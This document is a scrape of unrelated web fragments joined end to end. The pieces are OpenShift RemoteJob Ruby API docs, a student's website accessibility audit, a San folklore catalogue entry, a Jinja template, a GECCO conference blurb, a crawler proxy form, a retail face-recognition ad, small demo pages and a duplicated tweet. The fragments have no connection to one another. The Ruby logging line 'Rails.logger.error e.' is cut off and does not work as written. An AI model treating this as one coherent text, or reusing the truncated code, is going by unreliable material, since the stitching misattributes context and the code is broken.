# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 8 class RemoteJob < OpenShift::Model attr_accessor :cartridge, :action, :args # Creates a new RemoteJob # # == Parameters: # target:: # The {Cartridge} name # action:: # The action to perform # args:: # Array of arguments to pass to the hook def initialize(target, action, args) self.cartridge = target self.action = action self.args = args end # Creates a new Parallel job handle # # == Returns: # New parallel job handle. Currently represented by a Hash def self.create_parallel_job return { } end # Calls the provided block to generate RemoteJob entries for each gear and executes those jobs in parallel. # This method provides a convenient way to combine {RemoteJob#add_parallel_job} and {RemoteJob#execute_parallel_jobs} # # == Parameters: # gears:: # The {Gear}s to run the operations on # handle:: # (optional) The parallel job handle which may contain other jobs that needs to be run. # block:: # The block of code which add a job for each gear using {RemoteJob#add_parallel_job} # # == Block arguments: # # exec_handle:: # The parallel job handle # gear:: # The {Gear} to create a {RemoteJob} for def self.run_parallel_on_gears(gears, handle=nil, &block) handle = create_parallel_job if handle.nil? gears.each { |gear| block.call(handle, gear) } execute_parallel_jobs(handle) end # Executes all jobs in the parallel job handle # # == Parameters: # handle:: # The parallel job handle def self.execute_parallel_jobs(handle) begin OpenShift::ApplicationContainerProxy.execute_parallel_jobs(handle) rescue Exception=>e Rails.logger.error e. Rails.logger.error e.inspect Rails.logger.error e.backtrace.inspect raise e end end # Add a new job to the parallel job handle # # == Parameters: # handle:: # The parallel job handle # tag:: # Tag to identify the job (optional) # gear:: # The gear to run the job on # rjob:: # The {RemoteJob} to add to the handle # # == Returns: # Parallel job handle def self.add_parallel_job(handle, tag, gear, rjob) tag = tag || "" parallel_job = { :tag => tag, :gear => gear.uuid.to_s, :job => { :cartridge => rjob.cartridge, :action => rjob.action, :args => rjob.args }, :result_stdout => "", :result_stderr => "", :result_exit_code => "" } job_list = handle[gear.get_proxy.id] || [] job_list << parallel_job handle[gear.get_proxy.id] = job_list handle end # Method to process the parallel job results. It calls the block with the output of each job. # # == Parameters: # handle:: # The parallel job handle # block:: # The code block to call for each job # # == Block arguments: # tag:: # The identifier tag for the job # gear:: # The gear the job was performed on # stdout:: # The standard out output from the hook execution # exitcode:: # The exitcode from the hook execution def self.get_parallel_run_results(handle, &block) handle.each { |id, job_list| job_list.each { |parallel_job| block.call(parallel_job[:tag], parallel_job[:gear], parallel_job[:result_stdout], parallel_job[:result_exit_code]) } } end end |
Class Method Details
+ (Object) add_parallel_job(handle, tag, gear, rjob)
89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 89 def self.add_parallel_job(handle, tag, gear, rjob) tag = tag || "" parallel_job = { :tag => tag, :gear => gear.uuid.to_s, :job => { :cartridge => rjob.cartridge, :action => rjob.action, :args => rjob.args }, :result_stdout => "", :result_stderr => "", :result_exit_code => "" } job_list = handle[gear.get_proxy.id] || [] job_list << parallel_job handle[gear.get_proxy.id] = job_list handle end |
+ (Object) create_parallel_job
30 31 32 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 30 def self.create_parallel_job return { } end |
+ (Object) execute_parallel_jobs(handle)
64 65 66 67 68 69 70 71 72 73 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 64 def self.execute_parallel_jobs(handle) begin OpenShift::ApplicationContainerProxy.execute_parallel_jobs(handle) rescue Exception=>e Rails.logger.error e. Rails.logger.error e.inspect Rails.logger.error e.backtrace.inspect raise e end end |
+ (Object) get_parallel_run_results(handle, &block)
Method to process the parallel job results. It calls the block with the output of each job.
Parameters:¶ ↑
- handle
-
The parallel job handle
- block
-
The code block to call for each job
Block arguments:¶ ↑
- tag
-
The identifier tag for the job
- gear
-
The gear the job was performed on
- stdout
-
The standard out output from the hook execution
- exitcode
-
The exitcode from the hook execution
122 123 124 125 126 127 128 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 122 def self.get_parallel_run_results(handle, &block) handle.each { |id, job_list| job_list.each { |parallel_job| block.call(parallel_job[:tag], parallel_job[:gear], parallel_job[:result_stdout], parallel_job[:result_exit_code]) } } end |
+ (Object) run_parallel_on_gears(gears, handle = nil, &block)
Calls the provided block to generate RemoteJob entries for each gear and executes those jobs in parallel. This method provides a convenient way to combine #add_parallel_job and #execute_parallel_jobs
Parameters:¶ ↑
- gears
-
The Gears to run the operations on
- handle
-
(optional) The parallel job handle which may contain other jobs that needs to be run.
- block
-
The block of code which add a job for each gear using #add_parallel_job
Block arguments:¶ ↑
51 52 53 54 55 56 57 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 51 def self.run_parallel_on_gears(gears, handle=nil, &block) handle = create_parallel_job if handle.nil? gears.each { |gear| block.call(handle, gear) } execute_parallel_jobs(handle) end |


Implementing Accessibility
This week, I audited the accessibility of this User Science Journal and made some changes based on the audits. I also made a few changes to address usability.
Tools Used
Results:
Both tools identified issues with contrast and links. The WAVE tool indicated issues with Headers as well.
Links
The Lighthouse audit indicated that some "Links do not have a discernible name" and WAVE indicated "Empty Link" errors.
This error was on the Twitter, Github, and Facebook icon/links.
Revisions:
- Although these currently aren't active links, I added ARIA labels to these links on all the pages of my journal.
Headers
The WAVE audit identified skipped heading levels, and the Lighthouse audit tool recommended manually checking that heading levels were not skipped.
I skipped heading levels on multiple pages, picking what I thought looked best instead of using headers to show level of importance and how content related to other content.
Revisions:
- Revised headings so that no levels were skipped
- Added a higher-level general heading to each page and also moved some content to better organize the page and show how chunks of content related to each other
- Left resources header on some pages as H6 since it was at the end of the page
Contrast
Low contrast of text against background and some text within the body of the pages was identified as an issue by both the WAVE and Lighthouse audit tools.
- Gray text was used on the index page:
- And where I used blockquotes:
- Low contrast was indicated by the WAVE audit for all the small text that appeared in the background image on every page:
Revisions:
- Darker text chosen for index page element
- Black text chosen for blockquote element, indenting and larger font size instead of text color to help set content apart
- Tested using larger text size used in header for posts on weeks 4, 5 and 6
- Solid background used for header on posts for weeks 5 and 6
Usability
To improve usability:
- Renamed posts in the navigation menu
- Used more lists
- Added more white space
Conclusion
- Fixing the empty link and text colors within body of posts changed Lighthouse Audit score from a range 75 (for the index page) to 87 for other pages to 100.
- Fixing the Headers so that none were skipped eliminated style errors in the WAVE audit
- Using a solid dark background for the header and increasing the font size still showed errors in the WAVE audit. The Color Contrast Tester showed this combination to meet accessibility requirements though.
Most of the accessibility issues for the Bootstrap framework resulted from design - color choices for text and contrast between text and background images.
I had the same contrast issues resulting from my own image and color choices.
I was choosing header sizes on what I thought looked good rather than according to logical structure. Now I realize this could cause confusion for anyone using assistive technology. Using headers in a logical way also forces me to focus more on organization.
Balancing design with accessiblity can be complicated! The site seems to be visually more appealing with images. Separating the navigation links from the images in the header might be a way to keep the background images, and make the links accessible. Some CSS skills would come in handy about now...
With experience I think a developer would learn what images and color choices meet accessibility requirements and be able to create a visually appealing site that was also accessible.
Resources
Admin. “How Contrast Ratio Pertains to Website Accessibility.” Bureau of Internet Accessibility, www.boia.org/blog/how-contrast-ratio-pertains-to-website-accessibility.


Notebooks
Story: Jackal's song (and The song of the Caama Fox)
Jackal's song (and The song of the Caama Fox)
Title
Jackal's song (and The song of the Caama Fox)
Collection
Summary
The Jackal's song in which it sings of how it avoids being hunted by circling back and crossing the spoor of the dogs that chase it.
Comments
1) The !gwiten is otherwise known as Vulpes Caama or the caama fox (or the jackal), 2) The song of the Caama fox appears on pp.2158v-2159v, 3) This story is found in Book XXIII
Contributors
Date
1873
Categories
Keywords
Jackal (Jackal's song) , Jackal (and the song of the Caama Fox) , Jackal (Vulpes Caama) , Jackal (!gwiten) , Jackal ('crosser of the spoor') , Jackal (Caama Fox) , Jackal (avoidance behaviour of) , Jackal (chased by dog) , Jackal (and the hunting dog) , Jackal (doings of) , Jackal (actions of) , Jackal (habits of) , Jackal (doubles back) , Jackal (avoids the dog) , Jackal (name of) , Jackal (!gwiten's song) , Jackal (little) , Jackal (young) , Jackal (cub) , crossing the spoor (doubling when pursued) , song (the Jackal's) , song (of the Caama Fox) , spoor (crossing of and Jackal's song) , spoor (jackal crosses) , hunting (of jackal) , hunting (and Jackal's song) , hunting (jackal is a 'crosser of the spoor') , hunting (-dog) , dog (hunting dog) , dog (and Jackal's song) , dog (jackal crosses its spoor)
Story Pages
2158-2159


{% if c %}
{{ c.sidebar|markdown if c.sidebar and c.sidebar != '' else c.description|markdown if c.description else '' }}
{% endif %}
{% if not user_banned %}
{% if not c %}
Submit a post
{% elif c.locked and not (v and v.admin >= 1) %}
Posts banned
This community has been banned: {{ c.ban_message if c.ban_message else 'This community has been banned for breaking the rules.' }}
{% elif c.mode == "public" or user_mod or (user_contributor and c.mode != "archived") or (v and v.admin >= 1) %}
Submit a post
{% elif c.mode == "archived" %}
New posts disabled
This community is now archived and read-only.
{% else %}
Posts restricted
Posts in this community are restricted to approved users.
{% endif %}
{% endif %}
{% if c %}


GECCO 2019
The Genetic and Evolutionary Computation Conference (GECCO) presents the latest high-quality results in genetic and evolutionary computation since 1999. Topics include: genetic algorithms, genetic programming, ant colony optimization and swarm intelligence, complex systems (artificial life/robotics/evolvable hardware/generative and developmental systems/artificial immune systems), digital entertainment technologies and arts, evolutionary combinatorial optimization and metaheuristics, evolutionary machine learning, evolutionary multiobjective optimization, evolutionary numerical optimization, real world applications, search-based software engineering, theory and more.


Search Engine
Crawler
Indexer
Proxy Settings
(current)
List of sites
USE PROXY
PROXY IP :
PROXY PORT :
Save


Enable customers / busy families , shop smartly with face recognition and facial detection technologies , enable reminders , target advts and more ...
Find Out More
1. Suggests face creams / cosmetics depending upon your facial and health condtions
2. Suggests the location of Product
3. Add items directly into your cart
4. Google Assitant Integration
5. Profile based out of stock notifications - connected homes


Man, this page would look SO awesome if your browser supported canvas.
Tilt Alpha:
Tilt Beta:
Tilt Gamma:
Tilt accel X:
Tilt accel Y:
Orientation:
rotation:


Back to Homepage menu
Click on the feedback button on
the left to provide feedback
We Love Emails, Do you?
Name:
Email:
Subject:
Message:
Feedback


Toasty! example
Observe that the click events are delayed when toasted.
Click at any element or the button...
console.log(...)
Instant toasting!
Toast it


Excited by GC visibility Ruby core added in 2.1, we added a Ruby VM feature to @newrelic's Ruby agent. Check it out! http://blog.newrelic.com/2014/04/23/ruby-vm-stats/
4/28/2014, 8:12:40 AM
Favs: 1
Retweets: 3
link--- layout: tweet ---
Excited by GC visibility Ruby core added in 2.1, we added a Ruby VM feature to @newrelic's Ruby agent. Check it out! http://blog.newrelic.com/2014/04/23/ruby-vm-stats/
4/28/2014, 8:12:40 AM
Favs: 1
Retweets: 3
link